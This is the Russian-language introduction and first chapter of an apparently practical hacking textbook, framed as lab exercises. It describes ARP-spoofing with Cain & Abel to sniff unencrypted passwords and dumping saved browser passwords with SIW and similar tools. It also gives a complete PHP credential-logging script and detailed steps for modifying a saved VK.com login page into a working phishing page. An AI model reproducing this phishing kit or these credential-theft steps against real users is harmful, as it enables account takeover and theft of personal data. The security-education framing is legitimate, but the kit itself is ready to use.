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Введение 

 

Сказать честно, еще совсем недавно я не собирался заниматься написанием этой 

книги. После выхода моей первой книги "Инструментарий хакера"1, волей обстоя-

тельств написанной мною случайно и всего за три недели, мне предлагали сотруд-

ничество во взломах, обвиняли в подготовке нового поколения хакеров и компью-

терных хулиганов, угрожали в почте и т. д... Говорили даже о том, что раздел по 

организации защиты написан якобы для отвода глаз, чтобы "протолкнуть" весь ос-

тальной материал, являющийся основным по хакингу. И это несмотря на достаточ-

но большой представленный там объем информации по противодействию зло-

умышленникам. Тем не менее, я благодарен всем откликнувшимся.  

К изданию новой книги меня подтолкнуло не только то, что после первого опыта 

хотелось сделать что-то лучше, новее, но и то, что интерес к этой теме у читателей 

почему-то со временем только усиливается. Непонятно: у нас — что, столько хаке-

ров? Вряд ли! Как уже не раз сказано: хакеры такие книги не читают. К слову, те, 

кто ждет в книге каких-то решений для взлома соседнего банкомата или Пентагона, 

также могут сразу отложить эту книгу и заняться своими делами. Наше дело —  

готовить законопослушных специалистов, а не юных хакеров. 

В отличие от множества других изданий на тему хакинга, в этой книге сделан  

уклон не на программирование, а на вопросы сетевого взаимодействия. Именно 

поэтому она никоим образом не является "конкуренткой" подобным публикациям. 

Собственно, книга о том, что не обязательно писать программы! Как правило, на 

все случаи жизни уже есть готовые решения. Хотя именно вот такой подход зачас-

тую и раздражает профессиональных программистов.  

Казалось бы, как можно, не имея базовых знаний по программированию, научиться 

разбираться в основах создания фишингового сайта или еще круче — в приемах 

атак с инъекцией Java-скриптов? Оказывается, можно. Научим! Книга как раз и до-

казывает, что на первом этапе любому, даже школьнику, запросто можно обойтись 

без этого... Мало того, на вопрос "Как изучать настройку оборудования, стоящего 

                                                      
1 Бабин С. Инструментарий хакера. — СПб.: БХВ-Петербург, 2014. — 240 с.: ил. — (Глазами хакера). 

 



6 Введение 

сотни тысяч рублей, не имея на это средств и возможностей?" так же с уверенно-

стью ответим — и это можно! Обучим! 

В этой книге вообще нет главы о методах защиты. Но уверен, что обвинений в вос-

питании преступников быть не должно, потому что она представлена как некое 

практическое пособие для лабораторных работ будущим ИТ1-специалистам при 

изучении ими основ информационной безопасности, или просто информатики. 

Собственно так, в качестве очерков, в которых автор постоянно, совместно с чита-

телем, проводит интересные эксперименты, и выполнено общее изложение книги.  

Почему здесь совсем нет теории, а только практика? Конечно, концептуально я не 

против теории. Без теории нет фундаментальности в знаниях. Но дело в том, что 

трудов по теории очень и очень много. С практикой сложнее, даже если кто-то и 

берется писать с акцентом на эмпирические методы познания, то чтобы книга была 

"правильной", он все равно волей-неволей "скатывается" на общие рассуждения.  

А результат? Вот цитата: "Компании, нанимающие на работу “свежих” выпускни-

ков вузов по специальностям, связанным с ИБ (информационная безопасность), 

жалуются на отсутствие у этих выпускников практического опыта, а также 

знаний именно в той области, которая нужна для выполнения служебных обязан-

ностей. В результате, новых сотрудников по ИБ приходится отправлять на доп. 

обучение и долгое время „доращивать“ до нужного состояния".  

При всем этом хотелось, чтобы книга была недорогой. Еще и поэтому, чтобы ми-

нимизировать цену, а значит, не слишком увеличивать объем, в книге фактически 

нет ни строчки теории.  

Итак, книга насыщена практическими приемами по разнообразным темам. Как ока-

залось, народ в большей степени интересуют именно реальные способы взлома,  

а не пространные речи о программах или способах защиты. Пришлось пойти на по-

воду у читателя. Все учтено. Кроме того, в книге рассматриваются приемы хакера 

не только, например, по взлому роутеров, но и описание полного цикла его даль-

нейших действий, т. е. то, что он делает уже после проникновения через первый 

барьер любой сети...  

Все, что приведено в книге — проверено, и вы сможете это повторить собственны-

ми силами, что немаловажно, в домашних условиях. С минимумом технических 

средств. Фактически, это набор лабораторных работ, выполнить которые сможет 

любой хотя бы по причине того, что приведены скриншоты, очень подробно описан 

каждый шаг, в особенности когда используются программы "под Linux", и что  

немаловажно — применяются программные эмуляторы дорогостоящего оборудо-

вания.  

Отчасти, совсем в небольшой степени, в первых четырех главах книги использова-

лись материалы книги "Инструментарий хакера", но, конечно же, в новом контек-

сте. Главная особенность этого издания еще и в том, что здесь много внимания 

                                                      
1 Информационные технологии. 
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уделено изучению хакинга с использованием смартфонов. А также рассмотрены 

практические методы (подчеркиваю — практические) использования радужных 

таблиц, о чем в русскоязычных источниках вообще очень мало понятных публика-

ций. И я совсем не удивлюсь, если после прочтения главы о радужных таблицах 

любой человек, ранее даже никогда о них не слышавший, захочет и, что важно, 

сможет самостоятельно их изготавливать... 

Хочу выразить признательность всем людям, оказавшим мне помощь в подготовке 

новой книги, в особенности — прирожденному математику Антропову Михаилу 

Сергеевичу (г. Кемерово), а также: Шерину Андрею Валентиновичу (г. Кемерово), 

Кнуту Ивану Владимировичу (г. Владивосток), WooR42, Graf_Black и всем другим.  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



  

 

 

ГЛ АВ А 1 
 
 
 
 

Почему стало сложнее похитить 
пароль для входа в социальные сети 
"ВКонтакте", "Одноклассники"... 
Фишинг. Социальная инженерия 
на практике 

1.1. Об атаке "человек посередине".  
Программы Cain & Abel и SIW 

Пароли — это, пожалуй, самое заветное, за чем охотится любой хакер. Ради того 
чтобы украсть пароль, он готов на любые сложности. Если вы ожидаете, что сейчас 
вам расскажут, как просто взломать социальные сети, то можете сразу отложить эту 
книгу (да и любую другую). Несмотря на громкие рекламные заголовки, в любом 
издании по указанной тематике рассказывается вовсе не о взломе серверов соци-
альных сетей, — это вообще вряд ли возможно. Никто таких рецептов не приведет.  
И мы не исключение. Наша задача — показать, как могут похитить именно ваш  
пароль. 

Для начала нам необходимо рассмотреть хорошо известную атаку "человек посе- 
редине". 

С целью реализации атаки атакующий встает посередине между жертвами (атака 
man-in-the-middle), чтобы те ничего не заметили, даже не остановив трафика  
и замкнув его через себя. Остается только включить сниффер и анализировать тра-
фик. Заметим сразу: атака возможна в тех случаях случаях, когда пароли не шиф-
руются. 

Соберем небольшой стенд, используя в нашем случае на хостах операционные сис-
темы Windows (рис. 1.1). 

После реализации атаки мы должны получить уже такую схему, как показано на 
рис. 1.2. 

Будем использовать на атакующем компьютере свободно распространяемый в Ин-
тернете замечательный набор — Cain & Abel (Каин и Авель). Поскольку Abel при-
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меняют на компьютере жертве, и эта программа в классификации современных ан-
тивирусных средств считается вредоносной, а значит, легко обнаруживается, то мы 
не будем ее рассматривать. Интерес представляет Cain. Для того чтобы в комплекте 
с программой работал сниффер, при инсталляции соглашаемся на установку вхо-
дящей в комплект также свободно распространяемой программы Winpcap. 
 

 

Рис. 1.1 

 

Рис. 1.2 

 

ПРИМЕЧАНИЕ 

На всякий случай все равно отключим антивирусную программу и брандмауэры, хотя 

у нас на изучаемый инструмент антивирусная программа никак не реагировала! 

 

Настраиваем сниффер на нашу сетевую карту (рис. 1.3). 

Опросим сеть на вкладке Sniffer | Hosts, получив все IP- и MAC-адреса сегмента,  

в том числе интересующий нас в данном случае компьютер 192.168.0.102. Для это-
го при нажатой кнопке Start\Stop Sniffer щелкнем по значку большого плюса (+) 

на панели инструментов (рис. 1.4). 

На вкладке Sniffer | ARP начнем задавать хосты, между которыми нам нужно 

вклиниться, производя перехват трафика. Для этого при нажатой кнопке Start\Stop 

Sniffer щелкнем по значку большого плюса (+) на панели инструментов программы 

(рис. 1.5). 

Выберем адреса атакуемого компьютера и роутера, выделив их слева и справа со-

ответственно (рис. 1.6). 
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Рис. 1.3 

 

 

Рис. 1.4 
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Рис. 1.5 

 

Рис. 1.6 
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Наблюдаем, что при наличии трафика с компьютера жертвы показания счетчиков 
пакетов в обоих направлениях стали увеличиваться (рис. 1.7). 

Начался захват пакетов. Теперь остается только дождаться, когда жертва посетит 
свой почтовый ящик. Когда-то для проверки мы производили вход на сервер 
www.mail.ru, используя учетную запись для адреса babins@inbox.ru с паролем 
arptest. Причем вход осуществляли по протоколу http с применением стандартного 
браузера. 

 

Рис. 1.7 

Соответственно, искомый результат "ожидался" в разделе HTTP | Passwords 
вкладки Sniffer программы Cain (рис. 1.8). 

Если бы с атакуемого компьютера почту забирали каким-нибудь специализирован-
ным почтовым клиентом, то результат необходимо было ожидать уже в разделе, 
соответствующем протоколу POP3. В арсенале программы много известных широ-
ко используемых протоколов. 

Итак, после соединения атакуемого с почтовым сервером, кроме всяких прочих  
интересных вещей, в разделе HTTP находим ожидаемый нами пароль arptest 
(рис. 1.9). 

Таким образом, находясь в одном сегменте сети с жертвой, потенциальный хакер 
может полностью перехватывать нешифрованный трафик с атакуемого компьюте-
ра. Понятно, что такую атаку злоумышленник может провести против своих сосе-
дей, только подключившись к провайдеру напрямую, без использования личного 
роутера. 

Но не спешите радоваться: если вы повторите все в точности, описанная атака все 
равно не получится. Дело в том, что владельцы портала Mail.ru уже перевели свои 
сервисы на авторизацию с применением протокола SSL. Пароли перехватывать 
стало сложнее, т. к. трафик шифруется. Соответственно, и в "Одноклассниках" сей-
час тоже используется SSL. Последние два-три года практически все бесплатные 
почтовые серверы перешли на использование защищенного протокола при автори- 
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Рис. 1.8 

 

Рис. 1.9 
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зации. Цитата из прессы: "Сервис “Яндекс.Почта” теперь будет шифровать от-

правляемые и получаемые письма по протоколу SSL/TLS". Или еще: "Почтовый 

интернет-сервис Gmail переводит обработку всех действий пользователя — от-

правку и доставку писем — на защищенное HTTPS-соединение". И так далее... 

Тем не менее, описанный способ вовсе не устарел, его можно применить, скажем, 
перехватывая пароль пользователя на различных форумах или других сервисах, где 
по-прежнему отсутствует шифрованное соединение при авторизации. Вот пример 
перехвата при авторизации на известном торрент-трекере (рис. 1.10). 
 

 

Рис. 1.10 

 

Проблема для хакера лишь в том, что, как правило, его потенциальная жертва к ка-
кому-либо форуму обращается гораздо реже, чем к почте. Так что "отлавливать" 
пароль придется теперь дольше. 

Кстати, описанный метод могут применить в вашей локальной сети, например, на 
работе ваши продвинутые сослуживцы при авторизации с целью получения какого-
либо сервиса, где нет шифрования трафика и не применяются свитчи. 

Отметим также, что для проведения атаки ARP-spoofing можно применять и другие 
инструменты! Например, в этих целях хорошо подходит программа Iptools  
(автор — Эрван Л. (Erwan L.)). Правда, пароли в ней перехватываются не в автома-
тическом режиме, как это мы делали в программе Cain, а вручную, с помощью по-
иска в лог-файлах сниффера. Но об этой программе мы расскажем несколько позже. 

Итак, подводя промежуточные итоги, предположим, что мы добились своего — 
пользователи везде стали активно использовать разные пароли для различных сис-
тем. Но, опять беда. От этого стало еще хуже — они начали путаться, забывать их. 
Поэтому нужно продолжить эту главу. 

Напомним также, что если хакер получил физический доступ к вашему компьюте-
ру... — да даже не хакер, а просто ваш знакомый — то всё! У вас больше никаких 
секретов! А знаете, почему? Все ваши пароли в социальных сетях "Одноклассни-
ки", "ВКонтакте", для доступа к почте — куда угодно — увидит простенькая про-
граммка под названием SIW (System Information for Windows), которая может,  
например, анализировать cookies-файлы, а также кэши работы программ для счи- 
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Рис. 1.11 

тывания имен и паролей посещаемых вами сайтов (небольшие файлы, представляю-
щие собой что-то типа идентификационной карточки пользователя) — рис. 1.11. 

Только заметим — нужна коммерческая версия... Но хуже всего то, что в Интерне-
те есть так называемые "таблетки" и на коммерческую версию. Все для хакера! 

Правда, подобный софт может использовать не только хакер, но и любой пользова-
тель компьютера в "мирных" целях. Очень часто ваши знакомые забывают свои 
пароли для входа в ту же почту, "ВКонтакте", "Одноклассники"... Запуск SIW на 
компьютере склерозника решит указанные проблемы. 

Однажды приходилось видеть, как родители обращались к широкой общественно-
сти на сайтах, форумах: они искали, кто может им помочь взломать почту без вести 
пропавшего ребенка, т. к. официальными каналами все это решалось долго, а время 
могло быть упущено. В подобных ситуациях нужно было просто пройтись по всем 
компьютерам, на которых их ребенок общался по почте (и таких, скорее всего, не-
мало), да попробовать вышеперечисленные способы. 

Мало того, аналогичный функционал, описанный нами для SIW, есть и в Cain 
(рис. 1.12). Правда, по нашим наблюдениям SIW в этом направлении работает луч-
ше, чем Cain. Тем не менее, щелкаем по значку большого плюса при активной 
вкладке Decoders, в нашем примере — для IE 7/8/9 Passwords. 

Попробуйте нажать кнопку со значком большого плюса при активной вкладке 
Credential Manager. Результат такой же, как на рис. 1.11. Поражены? 

Забытые пароли помогает получить, например, такая не требующая установки бес-
платная программа, как WebBrowserPassView, рис. 1.13 (http://www.nirsoft.net/ 

utils/web_browser_password.html). Она "понимает" пароли, сохраненные в браузе-
рах различных разработчиков. 

Изложенное потихоньку подготавливает вас к изучению взлома шифрованных  
паролей... Интересное еще впереди! 
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Рис. 1.12 

 

Рис. 1.13 

1.2. Блокнот для фишинга. Denwer. Kali Linux 

Вернемся к вопросу краж паролей для социальных сетей... После того как при  
аутентификации пользователей стали применять SSL, для злоумышленников жизнь 
осложнилась. И все же украсть пароль с помощью фишингового сайта может и 
школьник. Почему? Да просто потому, что для этого даже не нужно каких-то спе-
циальных программ... Текстового редактора, оказывается, достаточно. Блокнота, 
например! Кстати, именно поэтому, из-за простоты и кажущейся безобидности 
деяния, школьнику и нужно объяснять, что это уголовно наказуемое преступление. 

Но все же рассмотрим, как эту процедуру проделывают хакеры. Первым делом  
с помощью редактора создается php-скрипт следующего содержания (приводим 
с небольшими комментариями): 
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<? 

$Login = $_POST['b1']; // Логин атакуемого 

$Pass = $_POST['b2'];  // Пароль атакуемого 

$log = fopen("pass.log","a+"); // Открытие файла (pass.log), 

                               // в который записываются пароли 

fwrite($log,"<br> $Login:$Pass \n"); // Запись учетных данных 

                                     // атакуемого в pass.log 

fclose($log); // Закрытие файла с учетными данными атакуемого 

echo "<html><META HTTP-EQUIV='Refresh' content ='0; 
URL=http://vk.com'></html>";         // Перенаправление атакуемого 

                                     // на реальный сайт 

?> 

Файл со скриптом называют, скажем, b0.php. 

Здесь приведем пример для самой популярной в стране социальной сети "ВКонтак-
те", но алгоритм аналогичен и для других ресурсов. Вообще-то, давать подобные 
готовые рецепты — дело неблагодарное. Скорее всего, исходный текст страницы 
для авторизации "ВКонтакте" поменяется к тому времени, как эта книга попадет  
к вам. И это даже хорошо, потому что, зная основные принципы в подходе к такого 
рода действиям, вы все равно всегда сможете повторить эксперимент. Правда, при-
дется немного покопаться в кодах HTML. 

Итак! Любым браузером главную страницу http://vk.com сохраняют на локальный 
компьютер, для чего из контекстного меню выбирают команду Сохранить как. 
При сохранении указывают тип файла Веб-страница полностью и задают имя — 
index. В результате получаются: файл idex.htm и папка index_files с несколькими 
файлами. 

Далее файл idex.htm открывают и исправляют текстовым редактором (тем же Блок-
нотом) следующим образом: 

1. В файле idex.htm ищут текст со словом FORM. 

2. Через строчку ниже есть такой текст: 

name="login" action="https://login.vk.com/?act=login" 

3. В этом тексте меняют имя (name) на то, которым назвали скрипт, т. е. на b0.php,  
и соответственно должна получиться следующая запись: 

name="b0.php" method="POST" 

4. Далее, еще через несколько строчек (примерно через шесть), находится сле-
дующее: 

<DIV class="labeled"><INPUT id="quick_email" class="text" name="email" 
type="text" ></DIV> 

В этом тексте фрагмент name="email" меняют на name="b1" (именно так в скрипте 
названа переменная для имени атакуемого). В результате эта строчка станет  
такой: 

<DIV class="labeled"><INPUT id="quick_email" class="text" name="b1" 
type="text"></DIV> 
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5. Еще через немного ниже в тексте: 

name="pass" type="password"> </DIV> 

слово pass заменяется названием переменной для пароля из скрипта b2 так, что-
бы получился текст: 

name="b2" type="password"> </DIV> 

Далее, чтобы правильно срабатывала кнопка, находят текст </FORM> и заменяют 
(именно заменяют) следующим: 

<DIV class="button_blue button_wide"><BUTTON id="quick_login_button"> 
Войти</BUTTON></form></DIV> 

Чтобы не появились две кнопки, убирают текст, следующий за </FORM>: 

<BUTTON id="quick_login_button" class="flat_button button_wide 
button_big">Войти</BUTTON> 

Всё! Таким образом, фишинговая страница подготовлена. Чтобы уж совсем все  
было понятно, фрагмент оригинала приведен на рис. 1.14, а измененный фраг-
мент — на рис. 1.15. 

Оговоримся сразу же, что замену имен на b1 и b2 можно было бы не производить, а 
использовать в скрипте имеющиеся в коде страницы наименования, но так нагляд-
нее, какие данные и как использует наш php-скрипт. 

Все подготовлено, но здесь для хакеров появляется серьезная проблема — странич-
ку нужно разместить в Интернете на сервере, поддерживающем php (иначе, без 
поддержки, php-скрипт просто не сработает). Вообще-то, подобных бесплатных 
хостингов не так уж и мало. Если в поисковой странице задать: "бесплатный хос-
тинг с поддержкой php", то легко отобразится список с десятками таких серверов. 
А вот тут-то все сложности только и начинаются! Зачастую, несмотря на деклари-
руемую бесплатность, с пользователя все равно норовят взять деньги или после ре-
гистрации по непонятным причинам не приходит письмо с подтверждением, и т. д.,  
 

 

 

Рис. 1.14 
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Рис. 1.15 

и т. п. Правда, и это для хакера не беда. Хуже то (для хакера, конечно, хуже, а не 
для нас), что на многих серверах анализируют содержимое именно на случай раз-
мещения там фишингового сайта. И, либо безжалостно удаляют фишинговые стра-
ницы, либо блокируют пользователя, т. е. злоумышленника. Найти подходящий 
сервер для черного дела начинающему хакеру не так-то просто. Мы же порадовав-
шись этому факту и как законопослушные граждане разместим полученную тесто-
вую фишинговую страницу на собственном сервере, а затем украдем пароль сами  
у себя, в учебных целях. Это, кстати, дает нам хороший повод упомянуть о замеча-
тельном абсолютно бесплатном программном инструментарии, джентльменском 
наборе, просто незаменимом при отладке сайтов: Denwer (http://www.denwer.ru/), 
рис. 1.16. Удобно иметь такое средство для различных экспериментов, в том числе  
 

 

 

Рис. 1.16 
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